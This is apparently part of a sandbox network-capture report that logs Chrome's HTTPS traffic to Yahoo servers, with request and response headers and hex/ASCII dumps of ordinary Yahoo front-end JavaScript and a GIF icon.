2024-01-10 23:27:10 UTC	834	IN	HTTP/1.1 200 OK x-amz-id-2: dwcH+YEMU8RAdivbj00HFWOBkP/GMOv3hW6Jz5+3Ns/5IXXykbX8FJEsbOavqOwJQcjH8g15+pxu9dMB6BU5K0wrDvdiu/dWFOajTyfgcrg= x-amz-request-id: 208VNK4TK4CM061R Date: Wed, 10 Jan 2024 23:27:11 GMT Last-Modified: Thu, 04 Aug 2022 04:32:27 GMT ETag: "12732500bc8e47693f0d777bbe88001c" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: ktIqZY5t35wTM4d07XFqB.S0kDb7QpBg Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 1615 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 22 66 65 61 74 75 72 65 62 61 72 49 64 22 2c 65 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 72 65 61 63 74 2d 77 61 66 65 72 2d 46 65 61 74 75 72 65 62 61 72 22 29 5b 30 5d 3b 69 66 28 65 29 7b 69 66 28 65 2e 63 6c 61 73 73 4c 69 73 74 26 26 65 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 26 26 65 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 61 75 74 6f 2d 63 6c 6f 73 65 22 29 29 7b 76 61 72 20 61 3d 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 66 65 61 74 75 72 65 62 61 72 2d 63 6f 6e 74 65 Data Ascii: window.addEventListener("load",(function(){var t="featurebarId",e=document.getElementsByClassName("react-wafer-Featurebar")[0];if(e){if(e.classList&&e.classList.contains&&e.classList.contains("auto-close")){var a=e.getElementsByClassName("featurebar-conte
2024-01-10 23:27:10 UTC	315	IN	Data Raw: 73 6c 61 74 65 59 28 22 2b 72 2b 22 29 22 29 7d 29 29 2c 75 28 29 29 7d 76 61 72 20 66 3d 65 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 73 63 72 6f 6c 6c 2d 74 6f 2d 73 68 6f 77 22 29 3b 63 6f 6e 73 74 20 6d 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 63 72 6f 6c 6c 2d 74 68 72 65 73 68 6f 6c 64 22 29 7c 7c 31 38 30 30 3b 69 66 28 66 26 26 77 69 6e 64 6f 77 2e 77 61 66 65 72 29 7b 63 6f 6e 73 74 20 77 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 75 74 69 6c 73 2e 74 68 72 6f 74 74 6c 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 73 63 72 6f 6c 6c 59 3e 3d 6d 26 26 28 65 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 56 28 68 29 22 29 2c 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 72 65 6d 6f 76 65 4c 69 Data Ascii: slateY("+r+")")})),u())}var f=e.classList.contains("scroll-to-show");const m=e.getAttribute("data-scroll-threshold")\|\|1800;if(f&&window.wafer){const w=window.wafer.utils.throttle((function(t){t.scrollY>=m&&(e.classList.remove("V(h)"),window.wafer.removeLi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49833	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:10 UTC	1536	OUT	GET /_td_api/beacon/performance?ybar-init_0=0.39999999999417923&ybar-mod-sidenav_0=2.1999999999825377&ybar-mod-logo_0=0.39999999999417923&ybar-mod-searchbox_0=0.7000000000116415&ybar-mod-assistjs_0=3&ybar-mod-adaptivenav_0=0.09999999997671694&ybar-account-init_0=0.6999999999825377&ybar-mail-init_0=1.5&ybar-mod-navigation_0=11.39999999999418&ybar-mod-notification_0=0.29999999998835847&src=ybar&_rdn=230041&apptype=default&rid=0gast8pipu9uc&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&device=desktop&osName=windows%20nt&browserName=chrome&browserVersion=117.0&site=homepage HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-01-10 23:27:10 UTC	1138	IN	HTTP/1.1 204 No Content referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-powered-by: Express content-type: image/gif content-security-policy-report-only: default-src 'self'; report-uri https://csp.yahoo.com/beacon/csp?src=fendr_beaconeater.media.yahoo.com date: Wed, 10 Jan 2024 23:27:10 GMT x-envoy-upstream-service-time: 2 server: ATS Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=0or3bg1ipu9ue&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49834	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:10 UTC	540	OUT	GET /aaq/wf/wf-video-2.22.15-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:10 UTC	835	IN	HTTP/1.1 200 OK x-amz-id-2: cnoDoRVPgD4q/XZRiZlFghf8bli9I1NljIaNKPuB25d84tNawaGz07DKGLuXozf3SOdvVlv//Qg+5GGrdRhgGPnv1E0SG93ljpibL49cZxA= x-amz-request-id: 208GNNK5VAMS7MB8 Date: Wed, 10 Jan 2024 23:27:11 GMT Last-Modified: Mon, 14 Aug 2023 18:04:39 GMT ETag: "698c2e383831b3e3fda6895026d87c5a" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: i2Xvn4CPausMO.IP89xsYvIHYgOU2NnO Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 30837 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 76 69 64 65 6f 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 76 69 64 65 6f 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-video",[],t):"object"==typeof exports?exports["wafer-video"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{}
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 76 61 72 20 69 3d 7b 7d 3b 66 6f 72 28 76 61 72 20 61 20 69 6e 20 65 29 74 2e 69 6e 64 65 78 4f 66 28 61 29 3e 3d 30 7c 7c 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 Data Ascii: totype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function o(e,t){var i={};for(var a in e)t.indexOf(a)>=0\|\|Object.prototype.hasOwnProp
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 61 6c 75 65 22 69 6e 20 61 26 26 28 61 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 61 2e 6b 65 79 2c 61 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 61 29 7b 72 65 74 75 72 6e 20 69 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 69 29 2c 61 26 26 65 28 74 2c 61 29 2c 74 7d 7d 28 29 2c 66 3d 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 69 2c 61 29 7b 6e 75 6c 6c 3d 3d 3d 74 26 26 28 74 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 29 3b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 74 2c 69 29 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 6e 29 7b 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 67 65 74 50 Data Ascii: alue"in a&&(a.writable=!0),Object.defineProperty(e,a.key,a)}}return function(t,i,a){return i&&e(t.prototype,i),a&&e(t,a),t}}(),f=function e(t,i,a){null===t&&(t=Function.prototype);var n=Object.getOwnPropertyDescriptor(t,i);if(void 0===n){var r=Object.getP
2024-01-10 23:27:10 UTC	880	IN	Data Raw: 63 65 44 69 73 61 62 6c 65 46 69 72 73 74 41 64 22 2c 22 6d 65 64 69 61 49 74 65 6d 22 2c 22 70 6c 61 79 6c 69 73 74 22 2c 22 75 69 22 5d 29 2c 68 3d 66 2e 69 64 2c 5f 3d 74 7c 7c 66 2e 6d 65 64 69 61 49 74 65 6d 73 2c 67 3d 5f 26 26 5f 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 6d 65 74 61 64 61 74 61 2c 69 3d 76 6f 69 64 20 30 3d 3d 3d 74 3f 7b 7d 3a 74 2c 61 3d 6f 28 65 2c 5b 22 6d 65 74 61 64 61 74 61 22 5d 29 3b 72 65 74 75 72 6e 20 76 28 7b 7d 2c 61 2c 69 29 7d 29 7c 7c 6e 75 6c 6c 2c 77 3d 76 6f 69 64 20 30 3b 69 66 28 6c 29 7b 76 61 72 20 43 3d 6c 5b 22 73 6f 75 72 63 65 2d 6d 65 74 61 64 61 74 61 2d 70 6c 75 67 69 6e 22 5d 7c 7c 7b 7d 2c 45 3d 43 5b 22 6d 65 64 69 61 2f 73 61 70 69 22 5d 3b 45 26 26 28 77 3d 7b 63 Data Ascii: ceDisableFirstAd","mediaItem","playlist","ui"]),h=f.id,_=t\|\|f.mediaItems,g=_&&_.map(function(e){var t=e.metadata,i=void 0===t?{}:t,a=o(e,["metadata"]);return v({},a,i)})\|\|null,w=void 0;if(l){var C=l["source-metadata-plugin"]\|\|{},E=C["media/sapi"];E&&(w={c
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 2c 72 3d 69 2e 65 72 72 6f 72 43 6c 61 73 73 2c 6f 3d 69 2e 73 65 6c 65 63 74 6f 72 2c 73 3d 69 2e 73 75 63 63 65 73 73 43 6c 61 73 73 3b 61 28 74 68 69 73 2c 74 29 3b 76 61 72 20 6c 3d 6e 28 74 68 69 73 2c 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 29 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 7b 65 72 72 6f 72 43 6c 61 73 73 3a 72 2c 73 65 6c 65 63 74 6f 72 3a 6f 2c 73 75 63 63 65 73 73 43 6c 61 73 73 3a 73 7d 2c 7b 53 54 41 54 45 5f 41 54 54 52 53 3a 49 7d 29 29 2c 64 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5f 2b 22 73 72 63 22 29 2c 75 3d 65 2e 67 65 74 41 74 74 72 69 Data Ascii: void 0!==arguments[1]?arguments[1]:{},r=i.errorClass,o=i.selector,s=i.successClass;a(this,t);var l=n(this,(t.__proto__\|\|Object.getPrototypeOf(t)).call(this,e,{errorClass:r,selector:o,successClass:s},{STATE_ATTRS:I})),d=e.getAttribute(_+"src"),u=e.getAttri
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 63 63 65 73 73 43 6c 61 73 73 3a 73 2c 74 61 72 67 65 74 45 6c 65 6d 3a 53 2c 74 72 69 67 67 65 72 3a 66 2c 74 79 70 65 3a 63 2c 76 69 64 65 6f 48 61 6e 64 6c 65 3a 6e 75 6c 6c 3d 3d 3d 68 7c 7c 76 6f 69 64 20 30 3d 3d 3d 68 3f 31 3a 4e 75 6d 62 65 72 28 68 29 2c 76 69 64 65 6f 4c 6f 61 64 43 6c 61 73 73 4e 61 6d 65 3a 54 2c 61 64 56 69 65 77 43 6f 6e 74 69 6e 75 6f 75 73 3a 6e 75 6c 6c 3d 3d 3d 56 7c 7c 76 6f 69 64 20 30 3d 3d 3d 56 3f 30 3a 4e 75 6d 62 65 72 28 56 29 7d 29 2c 6c 2e 5f 73 74 61 74 65 3d 76 28 7b 7d 2c 6c 2e 5f 73 74 61 74 65 2c 7b 61 64 50 6c 61 79 69 6e 67 3a 21 31 2c 61 64 56 69 65 77 65 64 3a 21 31 2c 63 72 65 61 74 65 64 3a 21 31 2c 6d 6f 75 6e 74 65 64 3a 21 31 2c 70 6c 61 79 69 6e 67 3a 21 31 2c 70 6c 61 79 69 6e 67 41 73 50 6c 61 Data Ascii: ccessClass:s,targetElem:S,trigger:f,type:c,videoHandle:null===h\|\|void 0===h?1:Number(h),videoLoadClassName:T,adViewContinuous:null===V\|\|void 0===V?0:Number(V)}),l._state=v({},l._state,{adPlaying:!1,adViewed:!1,created:!1,mounted:!1,playing:!1,playingAsPla
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 74 3d 65 2e 75 73 65 45 56 50 6c 61 79 65 72 2c 69 3d 65 2e 70 6c 61 79 65 72 3b 72 65 74 75 72 6e 21 74 26 26 28 69 26 26 69 2e 63 6f 6e 74 72 6f 6c 73 2e 67 65 74 46 75 6c 6c 73 63 72 65 65 6e 28 29 29 7d 7d 2c 7b 6b 65 79 3a 22 63 72 65 61 74 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 74 3d 65 2e 63 6f 6e 66 69 67 2c 69 3d 76 6f 69 64 20 30 3d 3d 3d 74 3f 7b 7d 3a 74 2c 61 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 6e 3d 61 2e 74 79 70 65 2c 72 3d 61 2e 70 6c 61 79 Data Ascii: e:function(){var e=this._util,t=e.useEVPlayer,i=e.player;return!t&&(i&&i.controls.getFullscreen())}},{key:"create",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.config,i=void 0===t?{}:t,a=this._util,n=a.type,r=a.play
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 6f 64 65 2d 73 72 63 22 29 3b 69 66 28 61 29 7b 65 2e 5f 75 74 69 6c 2e 64 61 72 6b 4d 6f 64 65 53 72 63 3d 6e 3b 76 61 72 20 72 3d 28 22 64 61 72 6b 22 3d 3d 3d 74 3f 6e 3a 61 29 7c 7c 61 3b 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 72 29 7d 7d 29 2c 61 2e 6c 6f 61 64 28 29 2c 74 68 69 73 2e 5f 69 74 65 6d 4c 6f 61 64 65 64 28 29 2c 74 68 69 73 2e 5f 61 64 64 4e 61 74 69 76 65 56 69 64 65 6f 45 76 65 6e 74 73 28 29 29 3a 61 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 73 29 7d 7d 7d 7d 2c 7b 6b 65 79 3a 22 5f 63 72 65 61 74 65 59 56 69 64 65 6f 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 Data Ascii: ode-src");if(a){e._util.darkModeSrc=n;var r=("dark"===t?n:a)\|\|a;i.setAttribute("src",r)}}),a.load(),this._itemLoaded(),this._addNativeVideoEvents()):a.classList.add(s)}}}},{key:"_createYVideo",value:function(){var e=this,t=arguments.length>0&&void 0!==arg
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 64 65 50 6c 61 79 6c 69 73 74 57 68 65 6e 53 6d 61 6c 6c 3a 21 31 2c 6c 6f 6f 70 3a 21 31 2c 73 74 61 72 74 54 69 6d 65 3a 30 2c 66 75 6c 6c 73 63 72 65 65 6e 3a 21 31 2c 6d 75 74 65 3a 21 30 2c 63 63 4f 6e 4d 75 74 65 3a 21 30 2c 73 74 6f 70 42 75 66 66 65 72 69 6e 67 4f 6e 50 61 75 73 65 3a 21 31 2c 70 72 65 6c 6f 61 64 3a 21 31 2c 77 61 74 63 68 48 69 73 74 6f 72 79 45 6e 61 62 6c 65 64 3a 21 31 2c 68 74 6d 6c 35 3a 21 30 2c 69 66 72 61 6d 65 52 65 6e 64 65 72 3a 21 31 2c 72 61 70 69 64 43 6f 6e 66 69 67 3a 7b 70 61 67 65 50 61 72 61 6d 73 3a 43 7d 7d 2c 77 2c 7b 61 75 74 6f 70 6c 61 79 3a 21 21 70 7d 29 3b 75 2e 75 73 65 45 56 50 6c 61 79 65 72 26 26 28 74 68 69 73 2e 5f 75 74 69 6c 2e 75 73 65 45 56 50 6c 61 79 65 72 3d 21 30 2c 45 3d 53 28 45 29 29 Data Ascii: dePlaylistWhenSmall:!1,loop:!1,startTime:0,fullscreen:!1,mute:!0,ccOnMute:!0,stopBufferingOnPause:!1,preload:!1,watchHistoryEnabled:!1,html5:!0,iframeRender:!1,rapidConfig:{pageParams:C}},w,{autoplay:!!p});u.useEVPlayer&&(this._util.useEVPlayer=!0,E=S(E))
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 22 2e 22 2c 22 22 29 29 2c 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 72 29 2c 74 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 5f 2b 22 73 72 63 22 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 56 69 64 65 6f 43 6c 69 63 6b 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 22 79 76 69 64 65 6f 50 6c 61 79 6c 69 73 74 22 3d 3d 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 74 79 70 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 69 3d 74 2e 65 6c 65 6d 2c 61 3d 74 2e 69 64 2c 6e 3d 74 2e 74 61 72 67 65 74 45 6c 65 6d 3b 74 68 69 73 2e 68 61 6e 64 6c 65 50 6c 61 79 6c 69 73 74 43 6c 69 63 6b 28 6e 2c 69 2c 61 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 4d 75 74 65 43 6c 69 63 6b 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 Data Ascii: ".","")),t.classList.add(r),t.removeAttribute(_+"src")}},{key:"handleVideoClick",value:function(e){if("yvideoPlaylist"===this._util.type){var t=this._util,i=t.elem,a=t.id,n=t.targetElem;this.handlePlaylistClick(n,i,a)}}},{key:"handleMuteClick",value:funct

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49835	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:10 UTC	381	OUT	GET /pv/static/img/icon-flame-light-202303010352.gif HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:10 UTC	830	IN	HTTP/1.1 200 OK x-amz-id-2: jBeSDh7wWTfhs3717x/5VbtcGADBQAui/ccnZXRatAmdyajJOJTLyYp+Y6UTHg55lvEJ7tIOzBM= x-amz-request-id: K193FK88HBWMXG3H Date: Wed, 10 Jan 2024 15:07:41 GMT Last-Modified: Wed, 01 Mar 2023 03:52:06 GMT ETag: "2fb9d43c74752389405abc1a5814b44a" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000, public Expires: Tue, 01 Mar 2033 03:52:18 GMT Accept-Ranges: bytes Content-Type: image/gif Server: ATS Content-Length: 539840 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 29970 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 47 49 46 38 39 61 04 01 54 01 f7 01 00 ff ff ff fd fd ff fd ff ff ff f9 ff ff fa f4 ff fb ee ff fb ff ff fd fd ff fe f6 ff fe ff ff ff fa ff ff fe ff f3 ea ff f4 f5 ff fa fa ff fb fb f7 e5 e2 f8 fe ff fe e4 d1 ff e8 d1 ff f6 d8 ff fa e6 f4 55 2e f5 52 1a fb 51 10 fc 4f 0b fc d6 c2 fc e8 c5 fe 4b 0a fe 4d 08 fe 4e 0b fe 4e 13 fe 4f 0d fe 50 0c fe 51 0d fe 51 0f fe 53 16 fe 55 15 ff 4e 0d ff ef d2 ff b8 8c ff c3 a9 ff e4 c4 ff fe e8 d8 5e 3c e6 6d 43 fc 4e 12 fd 4f 0f fe 4c 22 fe 51 18 fe 53 13 fe 5b 18 ff 4d 15 ff f3 d5 c5 80 64 d3 64 3f dc a0 8d fe 70 41 bc 69 4d fe 68 2f d1 86 69 e4 cf b4 e0 bf b5 ff ad 95 fb 84 66 fe ea d3 fe fd ff fe ff fd ff e0 d0 ff f8 ee ff fb f8 ff fe fc ff ff fc fb ff fb fb ff ff ff ea e2 ff ef d9 ff f7 f6 ff fd f7 ff fd fa f7 df Data Ascii: GIF89aTU.RQOKMNNOPQQSUN^<mCNOL"QS[Mdd?pAiMh/if
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 07 ff 80 00 82 83 84 85 86 87 88 86 47 47 82 09 09 89 90 91 92 93 94 95 8d 5c 01 98 8f 96 9c 9d 9e 93 06 0f 46 5f 4d a5 a1 11 8e a9 a9 9f ac ad 91 a7 a4 a6 a8 aa aa ae b6 b7 97 a4 4b 10 0e 03 4a bf b4 8e b8 c3 ac 0b 48 04 0c 10 bc be c0 c1 c4 cf 9c 0a 48 ca bb 4b 0d 98 b9 ab d0 db af 4e 58 d4 d4 51 8c 00 ce dc e6 b5 e4 0e 5e 56 d4 12 ca d7 d2 02 02 e6 f4 83 e8 c6 ec ca ee 50 bb f0 f2 f5 f5 82 35 c8 b7 af 20 03 2c 08 87 28 3c 06 10 9a 40 30 ed 24 10 69 27 25 e1 42 24 0d 9f 05 6b 07 61 a2 c7 70 e2 e2 61 cc 38 ec 91 2a 8e 1f 3f fa 8b 47 b2 e4 b1 27 eb aa f1 4b 49 51 d4 28 2e 2d 71 bd 1c 88 b2 a0 ca 95 38 73 76 12 96 4e 5a 11 82 3d 69 1e 8c 95 50 a8 25 a2 3b f3 f5 ec e8 f3 9d ac 45 4e 2b c1 32 8a 14 25 55 a5 eb bc c1 dc 79 51 9e d9 79 4e b7 22 28 d0 75 e6 57 Data Ascii: GG\F_MKJHHKNXQ^VP5 ,(<@0$i'%B$kapa8*?G'KIQ(.-q8svNZ=iP%;EN+2%UyQyN"(uW
